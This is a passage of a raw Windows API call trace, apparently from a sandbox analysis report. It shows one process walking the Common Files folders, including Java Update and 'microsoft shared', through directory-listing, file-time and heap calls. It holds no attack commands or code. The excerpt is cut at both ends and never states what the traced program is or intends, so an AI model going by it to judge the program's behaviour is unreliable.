ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1fc00, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xaa1fc00, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3cb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaucheck.exe", cAlternateFileName="")) returned 1 [0086.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.778] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0086.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.780] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0086.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.781] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.782] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0086.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb428 [0086.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.784] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0086.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb448 [0086.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0086.786] GetLastError () returned 0x12 [0086.786] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0086.786] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1fc00, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xaa1fc00, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3cb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaucheck.exe", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0086.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0086.786] GetLastError () returned 0x12 [0086.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0086.786] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0086.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0086.834] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 0 [0086.834] GetLastError () returned 0x12 [0086.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0086.834] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0086.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0086.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0086.835] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="")) returned 1 [0086.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0086.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared" (normalized: "c:\\program files (x86)\\common files\\microsoft shared"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0086.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared" (normalized: "c:\\program files (x86)\\common files\\microsoft shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0086.836] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0086.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1302698 [0086.836] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1302698, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1302698, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0086.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1302698) returned 1 [0086.836] NtClose (Handle=0x124) returned 0x0 [0086.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0086.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0086.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0086.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0086.837] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0086.837] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.837] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a735b0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xb30acfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb30acfc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f61b1a0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xcc379b80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xcc379b80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="")) returned 1 [0086.838] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, 